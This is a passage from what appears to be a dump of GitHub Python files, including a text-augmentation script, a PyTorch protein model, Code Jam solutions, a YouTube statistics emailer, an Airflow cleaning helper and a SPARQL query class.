argparse.ArgumentParser()\nap.add_argument(\"--input\", required=True, type=str, help=\"input file of unaugmented data\")\nap.add_argument(\"--num_aug\", required=False, type=int,\n help=\"number of augmented sentences per original sentence\")\nap.add_argument(\"--output_dir\", default='./', required=False, type=str,\n help=\"directory to save output\")\nap.add_argument(\"--model_type\", default='gpt2', required=False, type=str,\n help=\"model used for generation from\" +\n \"{gpt2, distilgpt2, xlnet-base-cased\")\nargs = ap.parse_args()\n\n\n################################################################################\n# Helper Functions\n################################################################################\ndef get_only_chars(line):\n clean_line = \"\"\n\n line = line.replace(\"’\", \"\")\n line = line.replace(\"'\", \"\")\n line = line.replace(\"-\", \" \") # replace hyphens with spaces\n line = line.replace(\"\\t\", \" \")\n line = line.replace(\"\\n\", \" \")\n line = line.lower()\n\n for char in line:\n if char in 'qwertyuiopasdfghjklzxcvbnm 1234567890#':\n clean_line += char\n else:\n clean_line += ' '\n\n clean_line = re.sub(' +', ' ', clean_line) # delete extra spaces\n if clean_line[0] == ' ':\n clean_line = clean_line[1:]\n return clean_line\n\n\n################################################################################\n# Sentence-Level Augmentation Functions\n################################################################################\n# Generates a new sentence based on the original\ndef sentence_aug(sentence, n, model='gpt2'):\n aug = nas.ContextualWordEmbsForSentenceAug(model_path=model)\n aug_sentences = aug.augment(sentence, n=n)\n if type(aug_sentences) == list:\n return [get_only_chars(s) for s in aug_sentences]\n else:\n return [aug_sentences]\n\n\n################################################################################\n# Top Level Augmentation Functions\n################################################################################\n# Augment a single example\ndef augment(sentence, num_aug, gen_model):\n sentence = get_only_chars(sentence)\n augmented_sentences = sentence_aug(sentence, n=num_aug, model=gen_model)\n\n # Remove excess examples\n augmented_sentences = [get_only_chars(sentence) for sentence in augmented_sentences]\n np.random.shuffle(augmented_sentences)\n\n if len(augmented_sentences) < num_aug:\n augmented_sentences += [sentence] * (num_aug - len(augmented_sentences))\n\n # Return\n return augmented_sentences\n\n\n# Augmenta all data\ndef gen_nlpaug(train_orig, output_file, gen_model, num_aug):\n # get data\n data = pd.read_csv(train_orig)\n targets = data['target'].values\n texts = data['text'].values\n # initialize output data\n new_targets = np.zeros(num_aug * len(targets), dtype=int)\n new_texts = np.empty(num_aug * len(targets), dtype=object)\n\n for i, target in enumerate(tqdm(targets)):\n sentence = texts[i]\n # AUGMENT\n aug_sentences = augment(sentence, num_aug=num_aug, gen_model=gen_model)\n\n # Add to output\n new_targets[(num_aug * i):num_aug * (i + 1)] = [target] * num_aug\n new_texts[(num_aug * i):num_aug * (i + 1)] = aug_sentences\n\n # Concatenate our list\n output_targets = np.concatenate((targets, new_targets))\n output_texts = np.concatenate((texts, new_texts))\n\n # Create new dataframe and export into a csv\n new_data = pd.DataFrame({'target': output_targets, 'text': output_texts})\n new_data.to_csv(output_file, index=False)\n\n\n################################################################################\n# Main\n################################################################################\nif __name__ == \"__main__\":\n output = \"sentence_gen_num_aug_\" + str(args.num_aug)\n output += \"_model_\" + str(args.model_type) + \".csv\"\n\n gen_nlpaug(args.input, output, gen_model=args.model_type, num_aug=args.num_aug)\n","repo_name":"dkang9503/CS224N_WIN20","sub_path":"utils/aug2_scripts/sentence_aug_script.py","file_name":"sentence_aug_script.py","file_ext":"py","file_size_in_byte":4512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3426628505","text":"import torch\nfrom torch import nn\nfrom torch.nn.parameter import Parameter\nimport numpy as np\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\nclass BiLSTM_CNN(nn.Module):\n def __init__(self, sequence_length,\n input_size, hidden_size, num_layers,\n in_channels1, out_channels1, in_channels2, out_channels2, kernel_size1, stride1, kernel_size2, stride2,\n in_features, out_features1, out_features2\n ):\n super().__init__()\n self.sequence_length = sequence_length\n\n self.input_size = input_size\n self.hidden_size = hidden_size\n self.num_layers = num_layers\n\n self.lstm = torch.nn.LSTM(input_size=self.input_size, hidden_size=self.hidden_size, num_layers=self.num_layers, batch_first=True, bias=True, bidirectional=True)\n\n self.in_channels1 = in_channels1\n self.out_channels1 = out_channels1\n self.in_channels2 = in_channels2\n self.out_channels2 = out_channels2\n self.kernel_size1 = kernel_size1\n self.stride1 = stride1\n self.kernel_size2 = kernel_size2\n self.stride2 = stride2\n\n matrix = torch.load('blosum_matrix.pt')\n pssm = torch.reshape(matrix, [20, 1, 1, 20])\n self.conv1 = torch.nn.Conv2d(in_channels=self.in_channels1, out_channels=self.out_channels1, kernel_size=self.kernel_size1, stride=self.stride1,bias=False)\n self.conv1.weight.data = Parameter(pssm)\n\n self.conv2 = torch.nn.Conv2d(in_channels=self.in_channels2, out_channels=self.out_channels2, kernel_size=self.kernel_size2, stride=self.stride2, bias=True)\n\n self.relu = nn.ReLU()\n self.dropout = nn.Dropout(p=0.2)\n\n self.in_features = in_features\n self.out_features1 = out_features1\n self.out_features2 = out_features2\n self.fc1 = nn.Linear(in_features=self.in_features, out_features=self.out_features1, bias=True)\n self.fc2 = nn.Linear(in_features=self.out_features1, out_features=self.out_features2, bias=True)\n\n self.softmax = nn.Softmax(dim=1)\n\n def forward(self, input1):\n batch_size = np.shape(input1)[0]\n lstm_input = torch.reshape(input1, shape=(batch_size, self.sequence_length, self.input_size))\n _, (final_state, cell_state) = self.lstm(lstm_input)\n final_state = self.dropout(final_state)\n final_state_fw = final_state[0, :, :]\n final_state_bw = final_state[1, :, :]\n lstm_output = torch.cat((final_state_fw, final_state_bw), dim=1)\n lstm_output = torch.reshape(lstm_output, shape=(-1, 128))\n\n conv_input = torch.reshape(input1, shape=(batch_size, 1, self.sequence_length, self.input_size))\n conv1_output = self.conv1(conv_input)\n conv1_output = torch.reshape(conv1_output, shape=(batch_size, self.sequence_length, 1, 20))\n\n input2 = torch.sum(input1, dim=(1,2), dtype=torch.int32)\n bandwidth = torch.floor(torch.div(input2, 4))\n width = torch.mul(bandwidth, 4).int()\n avblock_output = torch.zeros((batch_size, 4, 20))\n for i in range(batch_size):\n avblock_temp = torch.reshape(conv1_output[i][0:width[i]], [4, -1, 20])\n avblock = torch.reshape(torch.mean(avblock_temp, dim=1), [1, 4, 20])\n avblock_output[i, :, :] = avblock\n\n avblock_output = torch.reshape(avblock_output, shape=(batch_size, 1, 4, self.input_size)).to(device)\n conv2_output = self.conv2(avblock_output)\n conv2_output = self.relu(conv2_output)\n conv2_output = self.dropout(conv2_output)\n conv_pssm_output = torch.reshape(conv2_output, shape=(-1, 100))\n\n merge_feature = torch.cat((lstm_output, conv_pssm_output), dim=1)\n\n fc1_output = self.fc1(merge_feature)\n fc2_output = self.fc2(fc1_output)\n output = self.softmax(fc2_output)\n\n return output","repo_name":"wwwwszhd/DLLFP","sub_path":"code/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23418762361","text":"from itertools import product\n\nwith open (\"/Users/byungchulin/Desktop/A-small-attempt0.in.txt\") as f:\n data = f.read()\n\nfd = open(\"/Users/byungchulin/Desktop/out.txt\", 'w')\n\nfirst_spt = data.split('\\n')\ncase = first_spt.pop(0)\n\nfst_arr = []\nsnd_arr = []\ntrd_arr = []\nfth_arr = []\n\nfst_arr2 = []\n\nfst_temp_arr = []\nsnd_temp_arr = []\nnum = 0\nnum2 = 0\ncount = 0\nou= 0\n\nfor ccc in range(int(0), int(case)):\n first_guess = first_spt.pop(0) # get the first guess \n# print(first_guess)\n if( int(first_guess) == 1):\n num = 0\n\n if( int(first_guess) == 2):\n num = 4\n\n if( int(first_guess) == 3):\n num = 8\n\n if( int(first_guess) == 4):\n num = 12\n \n for y in range(int(0), int(4)):\n temp = first_spt.pop(0)\n fst_temp_arr.append(temp.split(' '))\n # print(fst_temp_arr)\n \n second_guess = first_spt.pop(0) # get the second guess\n# print(second_guess)\n if( int(second_guess) == 1):\n num2 = 0\n\n if( int(second_guess) == 2):\n num2 = 4\n\n if( int(second_guess) == 3):\n num2 = 8\n\n if( int(second_guess) == 4):\n num2 = 12\n \n for z in range(int(0), int(4)):\n temp = first_spt.pop(0)\n snd_temp_arr.append(temp.split(' '))\n # print(snd_temp_arr)\n\n for f in range (int(0), int(4)):\n fst_arr.append(fst_temp_arr[0][f])\n\n for f in range(int(0), int(4)):\n fst_arr.append(fst_temp_arr[1][f])\n\n for f in range(int(0), int(4)):\n fst_arr.append(fst_temp_arr[2][f])\n\n for f in range(int(0), int(4)):\n fst_arr.append(fst_temp_arr[3][f])\n\n# print(fst_arr)\n\n for f in range (int(0), int(4)):\n fst_arr2.append(snd_temp_arr[0][f])\n\n for f in range(int(0), int(4)):\n fst_arr2.append(snd_temp_arr[1][f])\n\n for f in range(int(0), int(4)):\n fst_arr2.append(snd_temp_arr[2][f])\n\n for f in range(int(0), int(4)):\n fst_arr2.append(snd_temp_arr[3][f]) \n\n# print(fst_arr2)\n \n# print(int(num))\n# print (int(num2))\n\n a = int(num+4)\n b = int(num2+4)\n \n for x in range( num, int(a)):\n for y in range(num2, int(b)):\n if ( int(fst_arr[int(x)]) == int(fst_arr2[int(y)])):\n # print(str(fst_arr[int(x)])+\" \"+str(fst_arr2[int(y)]))\n count = count+1\n if( int(count) == 1):\n ou = fst_arr[int(x)]\n \n\n print(ou)\n \n if ( int(count) == 0):\n print(\"Case #\"+str(int(ccc+1))+\": Volunteer cheated!\", file = fd)\n\n if( int(count) == 1):\n print(\"Case #\"+str(int(ccc+1))+\": \"+str(int(ou))+\"\", file = fd)\n\n if( int(count) > 1):\n print(\"Case #\"+str(int(ccc+1))+\": \"+\"Bad magician!\", file = fd)\n\n fst_arr = []\n fst_arr2 = []\n fst_temp_arr=[]\n snd_temp_arr=[]\n count = 0\n ou = 0\n\n\nfd.close()\n\n\n\n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_135/4109.py","file_name":"4109.py","file_ext":"py","file_size_in_byte":2825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"44425117562","text":"# Note, if you run this from crontab, you should put the following in front\n# of the python command:\n# PYTHONIOENCODING=utf-8\n# eg\n# PYTHONIOENCODING=utf-8 python youtube_likes.py\n# (otherwise it won't handle non-latin characters ok)\n\nimport argparse\nimport email.message\nimport json\nimport smtplib\nimport time\nimport warnings\nfrom email.mime.text import MIMEText\nfrom os import path\n\nimport requests\nfrom ruamel import yaml\n\nwarnings.simplefilter(\"ignore\", yaml.error.UnsafeLoaderWarning)\n\n\ndef send_email(\n smtp_server,\n smtp_port,\n username,\n password,\n from_email,\n to_email,\n subject,\n message,\n):\n # msg = email.message.EmailMessage()\n msg = MIMEText(\n \"\"\n + message.replace(\" \", \" \").replace(\"\\n\", \"
\")\n + \"\",\n \"html\",\n )\n msg[\"Subject\"] = subject\n msg[\"From\"] = from_email\n msg[\"To\"] = to_email\n # msg.set_content(message)\n\n with smtplib.SMTP(smtp_server, smtp_port) as smtp:\n smtp.login(username, password)\n smtp.sendmail(from_email, to_email, msg.as_string())\n\n\ndef get_persisted_for_channel(api_key, channel_id):\n persisted = {}\n res = requests.get(\n \"https://www.googleapis.com/youtube/v3/channels/?id={channel_id}\"\n \"&part=statistics\"\n \"&key={api_key}\".format(channel_id=channel_id, api_key=api_key)\n )\n if res.status_code != 200:\n print(\"res.status_code %s\" % res.status_code)\n print(res.content)\n raise Exception(\"invalid status code %s\" % res.status_code)\n d = json.loads(res.content.decode(\"utf-8\"))\n # print(json.dumps(d, indent=2))\n persisted[\"num_subscriptions\"] = d[\"items\"][0][\"statistics\"][\"subscriberCount\"]\n # print('num_subscriptions %s')\n\n next_page_token = None\n videos = []\n while True:\n next_page_token_str = (\n f\"&pageToken={next_page_token}\" if next_page_token is not None else \"\"\n )\n res = requests.get(\n \"https://www.googleapis.com/youtube/v3/activities/?maxResults=50\"\n \"&channelId={channel_id}\"\n \"&part=snippet%2CcontentDetails\"\n \"&key={api_key}\".format(api_key=api_key, channel_id=channel_id)\n + next_page_token_str\n )\n if res.status_code != 200:\n print(\"res.status_code %s\" % res.status_code)\n print(res.content)\n assert res.status_code == 200\n d = json.loads(res.content.decode(\"utf-8\"))\n for item in d[\"items\"]:\n title = item[\"snippet\"][\"title\"]\n # print(title)\n video_id = item[\"contentDetails\"][\"upload\"][\"videoId\"]\n videos.append({\"title\": title, \"video_id\": video_id})\n # print(d.keys())\n print(d[\"pageInfo\"])\n if \"nextPageToken\" in d:\n next_page_token = d[\"nextPageToken\"]\n print(\"next_page_token\", next_page_token)\n else:\n break\n print(\"finished fetching videos\", len(videos))\n\n res = requests.get(\n \"https://www.googleapis.com/youtube/v3/videos/?id={video_ids}\"\n \"&part=snippet%2CcontentDetails%2Cstatistics\"\n \"&key={api_key}\".format(\n video_ids=\",\".join([v[\"video_id\"] for v in videos]), api_key=api_key\n )\n )\n assert res.status_code == 200\n d = json.loads(res.content.decode(\"utf-8\"))\n videos = []\n persisted[\"videos\"] = videos\n for item in d[\"items\"]:\n video_id = item[\"id\"]\n title = item[\"snippet\"][\"title\"]\n s = item[\"statistics\"]\n likes = s.get(\"likeCount\", 0)\n views = s.get(\"viewCount\", 0)\n favorites = s.get(\"favoriteCount\", 0)\n comments = s.get(\"commentCount\", 0)\n videos.append(\n {\n \"video_id\": video_id,\n \"title\": title,\n \"likes\": likes,\n \"views\": views,\n \"favorites\": favorites,\n \"comments\": comments,\n }\n )\n return persisted\n\n\ndef run(args):\n with open(args.config_file, \"r\") as f:\n config = yaml.safe_load(f)\n # print('config', config)\n\n email_message = \"\"\n\n api_key = config[\"api_key\"]\n channels = config[\"channels\"]\n channel_id_by_name = {info[\"name\"]: info[\"id\"] for info in channels}\n channel_name_by_id = {info[\"id\"]: info[\"name\"] for info in channels}\n channel_abbrev_by_id = {info[\"id\"]: info[\"abbrev\"] for info in channels}\n\n persisted_all_channels = {}\n\n for channel_name, channel_id in channel_id_by_name.items():\n persisted = get_persisted_for_channel(api_key=api_key, channel_id=channel_id)\n persisted_all_channels[channel_id] = persisted\n # print(yaml.dump(videos))\n # print(json.dumps(videos, indent=2))\n # print(json.dumps(videos, indent=2))\n if path.isfile(config[\"cache_file\"]):\n with open(config[\"cache_file\"], \"r\") as f:\n old_persisted_all_channels = yaml.load(f)\n else:\n # old_stats = []\n old_persisted_all_channels = {}\n # old_persisted = {'videos': [], 'num_subscriptions': 0}\n\n is_priority = False\n priority_reasons_title = ''\n\n for channel_name, channel_id in channel_id_by_name.items():\n # print(channel_name, channel_id)\n # print(old_persisted_all_channels[channel_id])\n persisted = persisted_all_channels[channel_id]\n old_persisted = old_persisted_all_channels.get(\n channel_id, {\"videos\": [], \"num_subscriptions\": 0}\n )\n _priority_reasons_title = ''\n priority_reasons_desc = ''\n output_str = \"\"\n videos = persisted[\"videos\"]\n old_videos = old_persisted[\"videos\"]\n old_by_id = {}\n for video in old_videos:\n old_by_id[video[\"video_id\"]] = video\n new_by_id = {}\n for video in videos:\n new_by_id[video[\"video_id\"]] = video\n for video_id, video in new_by_id.items():\n video_title = video[\"title\"]\n if video_id not in old_by_id:\n output_str += \"new:\\n\"\n output_str += json.dumps(video, indent=2) + \"\\n\"\n else:\n old_video = old_by_id[video_id]\n # if json.dumps(old_video) != json.dumps(video):\n # print(json.dumps(sorted(old_video.items())))\n # print(json.dumps(sorted(video.items())))\n output = \"\"\n for k in video.keys():\n # if k == 'video_id':\n # continue\n if old_video[k] != video[k]:\n change = int(video[k]) - int(old_video.get(k, '0'))\n output += f\" {k} +{change} ({video[k]})\\n\"\n if k in [\"likes\", \"comments\"]:\n is_priority = True\n if k == 'likes':\n _priority_reasons_title += ' like'\n priority_reasons_desc += f'- \"{video_title}\": Likes change: {video[\"likes\"]} likes\\n'\n if k == 'comments':\n _priority_reasons_title += ' cmt'\n priority_reasons_desc += f'- \"{video_title}\": Comments change: {video[\"comments\"]} comments\\n'\n if k == \"views\":\n _old_views = int(old_video.get(k, \"0\"))\n _new_views = int(video[k])\n _view_change = _new_views - _old_views\n if _old_views == 0:\n is_priority = True\n _priority_reasons_title += ' fv'\n priority_reasons_desc += f'- \"{video_title}\": First views: {_new_views} views\\n'\n if _view_change > _old_views // 10:\n is_priority = True\n _priority_reasons_title += ' 10pv'\n priority_reasons_desc += f'- \"{video_title}\": 10% view change: {_new_views} views\\n'\n if _view_change >= 20:\n is_priority = True\n _priority_reasons_title += ' 20v'\n priority_reasons_desc += f'- \"{video_title}\": 20 views change: {_new_views} views\\n'\n # total views passed a multiple of 100\n if _new_views // 100 != _old_views // 100:\n _priority_reasons_title += ' %100'\n priority_reasons_desc += f'- \"{video_title}\": multiple 100 views: {_new_views} views\\n'\n is_priority = True\n if output != \"\":\n output_str += video[\"title\"] + \":\\n\"\n output_str += output[:-1] + \"\\n\"\n\n\n if persisted[\"num_subscriptions\"] != old_persisted[\"num_subscriptions\"]:\n # _old_subs = int(old_persisted.get('num_subscriptions', 0))\n # new_subs += int(persisted['num_subscriptions']) - _old_subs\n is_priority = True\n _priority_reasons_title += ' sub'\n priority_reasons_desc += f'- Subs {old_persisted[\"num_subscriptions\"]} => {persisted[\"num_subscriptions\"]}\\n'\n output_str += (\n \"num subscriptions: %s => %s\"\n % (old_persisted[\"num_subscriptions\"], persisted[\"num_subscriptions\"])\n + \"\\n\"\n )\n if output_str != \"\":\n print(channel_name)\n print(output_str)\n print()\n email_message += channel_name + \"\\n\"\n email_message += \"=\" * len(channel_name) + \"\\n\"\n email_message += \"\\n\"\n if is_priority:\n email_message += priority_reasons_desc + \"\\n\"\n email_message += output_str + \"\\n\"\n email_message += \"\\n\"\n if _priority_reasons_title != \"\":\n _priority_reasons_title = _priority_reasons_title.strip()\n abbrev = channel_abbrev_by_id[channel_id]\n priority_reasons_title += f\" {abbrev}[{_priority_reasons_title}]\"\n\n if email_message == \"\":\n print(\"No changes detected\")\n return\n\n print(\"is_priority\", is_priority)\n\n mins_since_last_write = (time.time() - path.getmtime(config[\"cache_file\"])) / 60\n if (\n not is_priority\n and mins_since_last_write < config[\"min_change_interval_minutes\"]\n ):\n print(\n \"skipping, since only %.1f\" % mins_since_last_write, \"mins since last write\"\n )\n return\n\n if config[\"send_smtp\"]:\n subject = config[\"smtp_subject\"]\n if is_priority:\n subject += priority_reasons_title\n if not args.no_send:\n send_email(\n config[\"smtp_server\"],\n config[\"smtp_port\"],\n config[\"smtp_username\"],\n config[\"smtp_password\"],\n config[\"smtp_from_email\"],\n config[\"smtp_to_email\"],\n subject,\n email_message,\n )\n else:\n print(\"subject: \" + subject)\n print(email_message)\n\n with open(config[\"cache_file\"], \"w\") as f:\n yaml.dump(persisted_all_channels, f)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--config-file\", default=\"config.yml\", type=str)\n parser.add_argument(\"--no-send\", action=\"store_true\")\n args = parser.parse_args()\n run(args)\n","repo_name":"hughperkins/youtube-likes","sub_path":"youtube_likes.py","file_name":"youtube_likes.py","file_ext":"py","file_size_in_byte":11531,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"37797124338","text":"# this is python file to help me for make data cleaning and transformation\r\nimport pandas as pd\r\n\r\ndef clean(df):\r\n #Drop the \"Province/State\",\"Lat\" & \"Long\" columns\r\n #Group by \"Country/Region\" and caculate the sum value\r\n #Reset the index of the dataframe\r\n clean_df = df.drop(columns=['Province/State','Lat','Long']).\\\r\n groupby('Country/Region').sum().\\\r\n reset_index()\r\n return clean_df\r\n\r\ndef convert(clean_df):\r\n #Convert columns of dates into a new column 'Date', and store the data in a new column 'Number'\r\n converted = pd.melt(clean_df, id_vars=[\"Country/Region\"], \r\n var_name=\"Date\", value_name=\"Number\")\r\n #Convert the data type from string to datetime64 for the data in column 'Date' \r\n converted['Date'] = pd.to_datetime(converted['Date'])\r\n #Sort the dataset by \"Country/Region\" and \"Date\"\r\n converted_df = converted.sort_values(by=[\"Country/Region\",\"Date\"])\r\n \r\n return converted_df \r\n\r\ndef dailychange(convert_df):\r\n #Change the index in order to apply diff() function\r\n convert_df = convert_df.set_index(['Country/Region','Date'])\r\n \r\n #Create a new column to store the difference between rows\r\n convert_df['amount_of_increase']=convert_df.diff()\r\n \r\n #Change back the index\r\n convert_df=convert_df.reset_index()\r\n \r\n #Run a for loop to check the boundary rows where the 'Country' changes, and change the value of difference to 0\r\n for i in range(0,int(convert_df.index.size)-1):\r\n if convert_df['Country/Region'][i] != convert_df['Country/Region'][i+1]:\r\n convert_df.at[i+1,'amount_of_increase'] = 0\r\n else:\r\n pass\r\n \r\n #Fill all NaN with 0\r\n convert_df=convert_df.fillna(0)\r\n\r\n # Convert the column to integer\r\n convert_df['amount_of_increase'] = convert_df['amount_of_increase'].astype(int)\r\n \r\n return convert_df\r\n","repo_name":"moustafa38/ETL-with-airflow","sub_path":"Dag_Function.py","file_name":"Dag_Function.py","file_ext":"py","file_size_in_byte":1921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40456382954","text":"from unittest import TestCase\nfrom unittest.mock import patch\n\nimport pytest\n\nfrom app.database.model import AbstractModelMixin\nfrom app.exception.models import NotFoundException\n\n\nclass Food(AbstractModelMixin):\n pass\n\nclass TestAbstractModel(TestCase):\n\n def test_abstract_model_mixin_was_inherited_by_the_class(self):\n #Action\n food = Food()\n\n #Asserts\n self.assertIsInstance(food, AbstractModelMixin)\n self.assertTrue(hasattr(food, 'id'))\n self.assertTrue(hasattr(food, 'created_at'))\n self.assertTrue(hasattr(food, 'updated_at'))\n self.assertTrue(hasattr(food, 'deleted_at'))\n\n @patch('app.database.model.datetime')\n def test_inactivate(self, datetime_mock):\n #Arrange\n food = Food()\n food.deleted_at = None\n datetime_mock.now.return_value = '2020-11-18'\n\n #Action\n food.inactivate()\n\n #Asserts\n print(food.deleted_at)\n self.assertEqual(food.deleted_at, '2020-11-18')\n\n def test_is_inactive_must_return_true_when_the_deleted_at_has_a_date(self):\n #Arrange\n food = Food()\n food.deleted_at = '2020-11-18'\n\n #Asserts\n self.assertEqual(food.is_inactive(), True)\n\n def test_is_inactive_must_return_false_when_the_deleted_at_has_not_a_date(self):\n # Arrange\n food = Food()\n food.deleted_at = None\n\n # Asserts\n self.assertEqual(food.is_inactive(), False)\n\n def test_inactivate_must_raise_not_found_exception_when_trying_inactivate_a_object_already_inactivated(self):\n #Arrange\n food = Food()\n food.deleted_at = None\n food.inactivate()\n\n #Action\n with pytest.raises(NotFoundException) as ex:\n food.inactivate()\n\n #Asserts\n self.assertEqual(ex.value.status_code, 404)\n self.assertEqual(ex.value.detail, 'Food not found.')","repo_name":"tiagodsza/packed-lunch-backend","sub_path":"tests/unit/app/database/test_model.py","file_name":"test_model.py","file_ext":"py","file_size_in_byte":1901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21315803690","text":"import base64\r\nimport string\r\nimport random\r\n\r\ndata_list = []\r\nfor i in range(100):\r\n\tdata = ''.join(random.sample(string.ascii_letters + string.digits, 32))\r\n\tdata_list.append(data)\r\n\tdata = data.encode()\r\n\t\r\n\tencoded = base64.b64encode(data)\r\n\tprint (encoded.decode())\r\n\r\nfor i in data_list:\r\n\tprint(i)","repo_name":"ChannelGuard/CGuard","sub_path":"Evaluation/GenerateAAD.py","file_name":"GenerateAAD.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"1053268333","text":"import json \nimport os \nimport urllib\nimport urllib2\nimport subprocess\nimport time\n\n\nclass SPARQLDB:\n def __init__(self):\n\n self.EndPointUrl = \"http://localhost:3030/NeuroMLOntology/query\"\n self.ServerUrl = \"http://localhost:3030/\"\n\n # Check if fuseki server is up\n self.CheckIfUpAndStartIfNeeded()\n\n def CheckIfUpAndStartIfNeeded(self):\n if not self.IsUp():\n self.Start()\n\n secondsWaited = 0\n while secondsWaited < 30:\n time.sleep(1)\n secondsWaited += 1\n\n if self.IsUp():\n return\n\n raise Exception(\"Could not start SPARQL Fuseki server\")\n\n else:\n return\n\n def IsUp(self):\n\n # Check if the server home page loads ok\n request = urllib2.Request(self.ServerUrl)\n\n try:\n response = urllib2.urlopen(request)\n\n except urllib2.URLError as ex:\n return False\n\n code = response.getcode()\n return code == 200\n\n def Start(self):\n # Start fuseki server from command line as background process\n # Command: fuseki-server --loc=Data /NeuroMLOntology\n # Explanation:\n # \"FUSEKI_HOME=xyz\" env variable needed by the server\n # \"fuseki-server\" server executable\n # \"Data\" ~/fuseki/Data is where db files are stored\n # \"/NeuroMLOntology\" the name of the ontology DB\n subprocess.Popen([\"/fuseki/fuseki\", \"start\"])\n\n def Query(self, query):\n\n values = {\n 'query': query,\n 'output': 'json',\n }\n data = urllib.urlencode(values)\n request = urllib2.Request(self.EndPointUrl, data)\n response = urllib2.urlopen(request)\n responseText = response.read()\n\n # Remove domains from results\n responseText = responseText \\\n .replace(\"http://neurolex.org/wiki/Property-3A\", \"\") \\\n .replace(\"http://neurolex.org/wiki/Category-3A\", \"\") \\\n .replace(\"u'\", \"'\")\n\n jsonResult = json.loads(responseText)\n bindings = jsonResult[\"results\"][\"bindings\"]\n\n #print('X'*30, query, responseText)\n\n return bindings\n\n def BuildValuesString(self, valueList):\n\n result = \"\"\n\n for value in valueList:\n result += '\"' + value + '\"^^xsd:string \\n'\n\n return result\n","repo_name":"scrook/neuroml-db","sub_path":"www/NeuroML-DB.org_Ontology/Classes/SPARQLDB.py","file_name":"SPARQLDB.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"71206325953","text":"\nplay_list = []\n\nprint(input(\"Enter your 5 favourite shakespearean plays\\n\"))\n\nfor i in range(5):\n play_name = input(f\"play %d: {i + 1}\")\n play_list.append(play_name)\n\nprint(\"index\\t\\tvalue\")\n\nfor i in range(len(play_list)):\n print(f\"%9d %-25s{i + 1, play_list[i]}\")\n","repo_name":"deezah12/python","sub_path":"pythonProject/work/chapter5/appending_items.py","file_name":"appending_items.py","file_ext":"py","file_size_in_byte":277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"452352053","text":"from collections import Counter\r\nimport os\r\nimport psutil\r\nimport sys\r\n\r\n\r\ndef isMemoryEnough(file_size_in_bites: int):\r\n free_memory = psutil.virtual_memory().available\r\n file_size_in_MB = file_size_in_bites / (1024 * 1024)\r\n modifier = 0.8\r\n return (free_memory * modifier) > file_size_in_MB\r\n\r\n\r\ndef symbols_statistic(byte_string: str, meta_inf: Counter) -> Counter:\r\n decoded_text = (byte_string).decode(\"utf-8\", errors=\"ignore\")\r\n meta_inf.update(decoded_text)\r\n return meta_inf\r\n\r\n\r\ndef print_tables(table: Counter, top_count: int = 10) -> None:\r\n print(\"Most common symbols are:\")\r\n for smb, count in table.most_common(top_count):\r\n print(f\"{repr(smb)} => {count} times\")\r\n\r\n\r\nif __name__ == '__main__':\r\n if not len(sys.argv) == 2:\r\n raise RuntimeError(\"Path argument are not specified\")\r\n\r\n meta_inf = Counter()\r\n path = sys.argv[1]\r\n\r\n with open(path, 'rb') as file:\r\n if not isMemoryEnough(os.stat(path).st_size):\r\n for data in file:\r\n symbols_statistic(data, meta_inf)\r\n else:\r\n symbols_statistic(file.read(), meta_inf)\r\n\r\n print_tables(meta_inf)\r\n","repo_name":"Orange-hanter/Python-cource-D1-2","sub_path":"Module2/file_statistic.py","file_name":"file_statistic.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23634570301","text":"#!/usr/bin/env python\nimport sys\nimport time\nimport pickle\n\nOUTFILE = sys.stderr\nSTARTTIME = time.time()\n\ndef v(string):\n \"\"\"Output verbose with a timestamp\"\"\"\n t = int(time.time() - STARTTIME)\n print >> sys.stderr, \"%s: %s\" % (t, string)\n\ndef o(string):\n \"\"\"Send to the outfile\"\"\"\n global OUTFILE\n v(string)\n print >> OUTFILE, string\n\ndef main(fp):\n numCases = int(fp.readline())\n maps = pickle.load(open(\"dict.dat\", \"rb\")) #Maps cipher letter to english letter\n v(\"Num Cases: %s\" % (numCases))\n case = 0\n try:\n for line in fp.readlines():\n case += 1\n caseResult = \"\"\n v(line)\n words = line.strip().split()\n for w in words:\n answer = \"\"\n valid = False\n while not valid:\n while len(answer) != len(w) and not valid:\n unknown, dword = decrypt(w, maps)\n if unknown > 0:\n v(\"Word: %s? \" % dword)\n answer = raw_input()\n else:\n answer = dword\n if len(maps) < 26:\n valid = add_to_dict(w, answer, maps)\n else:\n valid = True\n caseResult += \" %s\" % (answer)\n v(answer)\n o(\"Case #%s:%s\" % (case, caseResult))\n\n\n\n\n finally:\n pickle.dump(maps, open(\"dict.dat\", \"wb\"))\n\n\n\n\n\n\ndef add_to_dict(encrypt, plaintext, maps):\n assert len(encrypt) == len(plaintext), \"Cipher and plaintext not equal! %s, %s, %s\" % (encrypt, plaintext, maps)\n valid = True\n for i in range(len(encrypt)):\n if encrypt[i] in maps:\n if plaintext[i].lower() != maps[encrypt[i].lower()]:\n valid = False\n break\n\n if valid:\n for i, el in enumerate(encrypt):\n maps[el.lower()] = plaintext[i].lower()\n return True\n else:\n return False\n \n\ndef decrypt(string, mapping):\n outstr = \"\"\n unknown = 0\n for letter in string:\n if letter not in mapping:\n unknown += 1\n outstr += mapping.get(letter, letter.upper())\n return unknown, outstr\n \n\nif __name__ == \"__main__\":\n global OUTFILE\n v(\"Starting\")\n 